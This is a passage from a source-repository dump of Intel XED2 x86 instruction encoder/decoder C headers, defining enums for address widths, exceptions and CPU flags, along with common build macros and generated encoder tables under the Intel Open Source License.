XED_ADDRESS_WIDTH_64b=8, ///< 64b addressing 44 | XED_ADDRESS_WIDTH_LAST 45 | } xed_address_width_enum_t; 46 | 47 | /// This converts strings to #xed_address_width_enum_t types. 48 | /// @param s A C-string. 49 | /// @return #xed_address_width_enum_t 50 | /// @ingroup ENUM 51 | XED_DLL_EXPORT xed_address_width_enum_t str2xed_address_width_enum_t(const char* s); 52 | /// This converts strings to #xed_address_width_enum_t types. 53 | /// @param p An enumeration element of type xed_address_width_enum_t. 54 | /// @return string 55 | /// @ingroup ENUM 56 | XED_DLL_EXPORT const char* xed_address_width_enum_t2str(const xed_address_width_enum_t p); 57 | 58 | /// Returns the last element of the enumeration 59 | /// @return xed_address_width_enum_t The last element of the enumeration. 60 | /// @ingroup ENUM 61 | XED_DLL_EXPORT xed_address_width_enum_t xed_address_width_enum_t_last(void); 62 | #endif 63 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-attributes.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | 32 | #if !defined(_XED_ATTRIBUTES_H_) 33 | # define _XED_ATTRIBUTES_H_ 34 | #include "xed-types.h" 35 | 36 | typedef struct { 37 | xed_uint64_t a1; 38 | xed_uint64_t a2; 39 | } xed_attributes_t; 40 | 41 | #endif 42 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-common-defs.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-common-defs.h 32 | /// @brief some pervasive defines 33 | 34 | 35 | 36 | #ifndef _XED_COMMON_DEFS_H_ 37 | # define _XED_COMMON_DEFS_H_ 38 | 39 | //////////////////////////////////////////////////////////////////////////// 40 | 41 | #define XED_MAX_OPERANDS 11 42 | #define XED_MAX_NONTERMINALS_PER_INSTRUCTION 20 // FIXME somewhat arbitrary 43 | 44 | // for most things it is 4, but one 64b mov allows 8 45 | #define XED_MAX_DISPLACEMENT_BYTES 8 46 | 47 | // for most things it is max 4, but one 64b mov allows 8. 48 | #define XED_MAX_IMMEDIATE_BYTES 8 49 | 50 | #define XED_MAX_INSTRUCTION_BYTES 15 51 | 52 | 53 | #define XED_BYTE_MASK(x) ((x) & 0xFF) 54 | #define XED_BYTE_CAST(x) (XED_STATIC_CAST(xed_uint8_t,x)) 55 | 56 | //////////////////////////////////////////////////////////////////////////// 57 | // used for defining bit-field widths 58 | // Microsoft's compiler treats enumerations as signed and if you pack 59 | // the bit-field with values, when you assign it to a full-width enumeration, 60 | // you get junk-- a big negative number. This compensates for cases that I've 61 | // encountered 62 | #if defined(__GNUC__) 63 | # define XED_BIT_FIELD_PSEUDO_WIDTH4 4 64 | # define XED_BIT_FIELD_PSEUDO_WIDTH8 8 65 | #else 66 | # define XED_BIT_FIELD_PSEUDO_WIDTH4 8 67 | # define XED_BIT_FIELD_PSEUDO_WIDTH8 16 68 | #endif 69 | 70 | 71 | #endif 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-common-hdrs.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-common-hdrs.h 32 | /// 33 | 34 | 35 | 36 | #ifndef _XED_COMMON_HDRS_H_ 37 | # define _XED_COMMON_HDRS_H_ 38 | 39 | 40 | 41 | #if defined(__FreeBSD__) 42 | # define XED_BSD 43 | #endif 44 | #if defined(__linux__) 45 | # define XED_LINUX 46 | #endif 47 | #if defined(_MSC_VER) 48 | # define XED_WINDOWS 49 | #endif 50 | #if defined(__APPLE__) 51 | # define XED_MAC 52 | #endif 53 | 54 | 55 | #if defined(XED_DLL) 56 | // __declspec(dllexport) works with GNU GCC or MS compilers, but not ICC 57 | // on linux 58 | 59 | # if defined(XED_WINDOWS) 60 | # define XED_DLL_EXPORT __declspec(dllexport) 61 | # define XED_DLL_IMPORT __declspec(dllimport) 62 | # elif defined(XED_LINUX) || defined(XED_BSD) || defined(XED_MAC) 63 | # define XED_DLL_EXPORT __attribute__((visibility("default"))) 64 | # define XED_DLL_IMPORT 65 | # else 66 | # define XED_DLL_EXPORT 67 | # define XED_DLL_IMPORT 68 | # endif 69 | 70 | # if defined(XED_BUILD) 71 | /* when building XED, we export symbols */ 72 | # define XED_DLL_GLOBAL XED_DLL_EXPORT 73 | # else 74 | /* when building XED clients, we import symbols */ 75 | # define XED_DLL_GLOBAL XED_DLL_IMPORT 76 | # endif 77 | #else 78 | # define XED_DLL_EXPORT 79 | # define XED_DLL_IMPORT 80 | # define XED_DLL_GLOBAL 81 | #endif 82 | 83 | 84 | #if !defined(XED_MESSAGES) 85 | # define XED_MESSAGES 0 86 | #endif 87 | 88 | #if defined(XED_OMIT_ENCODER) 89 | /* do not emit an encoder */ 90 | #else 91 | # define XED_ENCODER 92 | #endif 93 | 94 | #if defined(XED_OMIT_DECODER) 95 | /* do not emit a decoder */ 96 | #else 97 | # define XED_DECODER 98 | #endif 99 | 100 | #endif 101 | 102 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-convert-table-init.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-convert-table-init.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_CONVERT_TABLE_INIT_H_) 37 | # define _XED_CONVERT_TABLE_INIT_H_ 38 | #include "xed-internal-header.h" 39 | typedef struct { 40 | 41 | const char** table_name; 42 | 43 | xed_operand_enum_t opnd; 44 | 45 | unsigned int limit; 46 | 47 | } xed_convert_table_t; 48 | extern xed_convert_table_t xed_convert_table[XED_OPERAND_CONVERT_LAST]; 49 | #endif 50 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-encoder-gen-defs.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-encoder-gen-defs.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_ENCODER_GEN_DEFS_H_) 37 | # define _XED_ENCODER_GEN_DEFS_H_ 38 | #define XED_ENCODE_ORDER_MAX_ENTRIES 31 39 | #define XED_ENCODE_ORDER_MAX_OPERANDS 5 40 | #define XED_ENCODE_MAX_FB_PATTERNS 49 41 | #define XED_ENCODE_MAX_EMIT_PATTERNS 101 42 | #define XED_ENCODE_FB_VALUES_TABLE_SIZE 1503 43 | #define XED_ENCODE_MAX_IFORMS 3436 44 | #define XED_ENC_GROUPS 289 45 | #endif 46 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-encoder-iforms.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-encoder-iforms.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_ENCODER_IFORMS_H_) 37 | # define _XED_ENCODER_IFORMS_H_ 38 | #include "xed-types.h" 39 | typedef struct xed_encoder_iforms_s { 40 | xed_uint32_t x_MEMDISPv; 41 | xed_uint32_t x_SIBBASE_ENCODE_SIB1; 42 | xed_uint32_t x_VEX_MAP_ENC; 43 | xed_uint32_t x_SIB_NT; 44 | xed_uint32_t x_UIMM8_1; 45 | xed_uint32_t x_SIBBASE_ENCODE; 46 | xed_uint32_t x_VEX_ESCVL_ENC; 47 | xed_uint32_t x_PREFIX_ENC; 48 | xed_uint32_t x_VEXED_REX; 49 | xed_uint32_t x_REMOVE_SEGMENT; 50 | xed_uint32_t x_VSIB_ENC; 51 | xed_uint32_t x_MODRM_RM_ENCODE_EA64_SIB0; 52 | xed_uint32_t x_VEX_REXXB_ENC; 53 | xed_uint32_t x_VEX_REG_ENC; 54 | xed_uint32_t x_SIMM8; 55 | xed_uint32_t x_MODRM_RM_ENCODE_EA32_SIB0; 56 | xed_uint32_t x_UIMM8; 57 | xed_uint32_t x_MODRM_RM_ENCODE_EA16_SIB0; 58 | xed_uint32_t x_XOP_REXXB_ENC; 59 | xed_uint32_t x_MEMDISP8; 60 | xed_uint32_t x_MODRM_RM_ENCODE; 61 | xed_uint32_t x_REX_PREFIX_ENC; 62 | xed_uint32_t x_UIMM16; 63 | xed_uint32_t x_VEX_TYPE_ENC; 64 | xed_uint32_t x_VEX_REXR_ENC; 65 | xed_uint32_t x_BRDISP32; 66 | xed_uint32_t x_MEMDISP32; 67 | xed_uint32_t x_MEMDISP16; 68 | xed_uint32_t x_SIBINDEX_ENCODE; 69 | xed_uint32_t x_SE_IMM8; 70 | xed_uint32_t x_UIMM32; 71 | xed_uint32_t x_SIMMz; 72 | xed_uint32_t x_UIMMv; 73 | xed_uint32_t x_XOP_MAP_ENC; 74 | xed_uint32_t x_DISP_NT; 75 | xed_uint32_t x_MODRM_MOD_ENCODE; 76 | xed_uint32_t x_MEMDISP; 77 | xed_uint32_t x_VSIB_ENC_BASE; 78 | xed_uint32_t x_BRDISP8; 79 | xed_uint32_t x_BRDISPz; 80 | xed_uint32_t x_XOP_TYPE_ENC; 81 | } xed_encoder_iforms_t; 82 | #endif 83 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-exception-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-exception-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_EXCEPTION_ENUM_H_) 37 | # define _XED_EXCEPTION_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_EXCEPTION_INVALID, 41 | XED_EXCEPTION_AVX_TYPE_1, 42 | XED_EXCEPTION_AVX_TYPE_2, 43 | XED_EXCEPTION_AVX_TYPE_2D, 44 | XED_EXCEPTION_AVX_TYPE_3, 45 | XED_EXCEPTION_AVX_TYPE_4, 46 | XED_EXCEPTION_AVX_TYPE_4M, 47 | XED_EXCEPTION_AVX_TYPE_5, 48 | XED_EXCEPTION_AVX_TYPE_6, 49 | XED_EXCEPTION_AVX_TYPE_7, 50 | XED_EXCEPTION_AVX_TYPE_8, 51 | XED_EXCEPTION_AVX_TYPE_9, 52 | XED_EXCEPTION_AVX_TYPE_9L, 53 | XED_EXCEPTION_SSE_TYPE_1, 54 | XED_EXCEPTION_SSE_TYPE_2, 55 | XED_EXCEPTION_SSE_TYPE_2D, 56 | XED_EXCEPTION_SSE_TYPE_3, 57 | XED_EXCEPTION_SSE_TYPE_4, 58 | XED_EXCEPTION_SSE_TYPE_4M, 59 | XED_EXCEPTION_SSE_TYPE_5, 60 | XED_EXCEPTION_SSE_TYPE_7, 61 | XED_EXCEPTION_LAST 62 | } xed_exception_enum_t; 63 | 64 | /// This converts strings to #xed_exception_enum_t types. 65 | /// @param s A C-string. 66 | /// @return #xed_exception_enum_t 67 | /// @ingroup ENUM 68 | XED_DLL_EXPORT xed_exception_enum_t str2xed_exception_enum_t(const char* s); 69 | /// This converts strings to #xed_exception_enum_t types. 70 | /// @param p An enumeration element of type xed_exception_enum_t. 71 | /// @return string 72 | /// @ingroup ENUM 73 | XED_DLL_EXPORT const char* xed_exception_enum_t2str(const xed_exception_enum_t p); 74 | 75 | /// Returns the last element of the enumeration 76 | /// @return xed_exception_enum_t The last element of the enumeration. 77 | /// @ingroup ENUM 78 | XED_DLL_EXPORT xed_exception_enum_t xed_exception_enum_t_last(void); 79 | #endif 80 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-flag-action-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-flag-action-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_FLAG_ACTION_ENUM_H_) 37 | # define _XED_FLAG_ACTION_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_FLAG_ACTION_INVALID, 41 | XED_FLAG_ACTION_u, ///< undefined (treated as a write) 42 | XED_FLAG_ACTION_tst, ///< test (read) 43 | XED_FLAG_ACTION_mod, ///< modification (write) 44 | XED_FLAG_ACTION_0, ///< value will be zero (write) 45 | XED_FLAG_ACTION_pop, ///< value comes from the stack (write) 46 | XED_FLAG_ACTION_ah, ///< value comes from AH (write) 47 | XED_FLAG_ACTION_1, ///< value will be 1 (write) 48 | XED_FLAG_ACTION_LAST 49 | } xed_flag_action_enum_t; 50 | 51 | /// This converts strings to #xed_flag_action_enum_t types. 52 | /// @param s A C-string. 53 | /// @return #xed_flag_action_enum_t 54 | /// @ingroup ENUM 55 | XED_DLL_EXPORT xed_flag_action_enum_t str2xed_flag_action_enum_t(const char* s); 56 | /// This converts strings to #xed_flag_action_enum_t types. 57 | /// @param p An enumeration element of type xed_flag_action_enum_t. 58 | /// @return string 59 | /// @ingroup ENUM 60 | XED_DLL_EXPORT const char* xed_flag_action_enum_t2str(const xed_flag_action_enum_t p); 61 | 62 | /// Returns the last element of the enumeration 63 | /// @return xed_flag_action_enum_t The last element of the enumeration. 64 | /// @ingroup ENUM 65 | XED_DLL_EXPORT xed_flag_action_enum_t xed_flag_action_enum_t_last(void); 66 | #endif 67 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-flag-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-flag-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_FLAG_ENUM_H_) 37 | # define _XED_FLAG_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_FLAG_INVALID, 41 | XED_FLAG_of, ///<< overflow flag 42 | XED_FLAG_sf, ///< sign flag 43 | XED_FLAG_zf, ///< zero flag 44 | XED_FLAG_af, ///< auxilliary flag 45 | XED_FLAG_pf, ///< parity flag 46 | XED_FLAG_cf, ///< carry flag 47 | XED_FLAG_df, ///< direction flag 48 | XED_FLAG_vif, ///< virtual interrupt flag 49 | XED_FLAG_iopl, ///< I/O privilege level 50 | XED_FLAG_if, ///< interrupt flag 51 | XED_FLAG_ac, ///< alignment check 52 | XED_FLAG_vm, ///< virtual-8086 mode 53 | XED_FLAG_rf, ///< resume flag 54 | XED_FLAG_nt, ///< nested task 55 | XED_FLAG_tf, ///< traf flag 56 | XED_FLAG_id, ///< ID flag 57 | XED_FLAG_vip, ///< virtual interrupt pending 58 | XED_FLAG_fc0, ///< x87 FC0 flag 59 | XED_FLAG_fc1, ///< x87 FC1 flag 60 | XED_FLAG_fc2, ///< x87 FC2 flag 61 | XED_FLAG_fc3, ///< x87 FC3 flag 62 | XED_FLAG_LAST 63 | } xed_flag_enum_t; 64 | 65 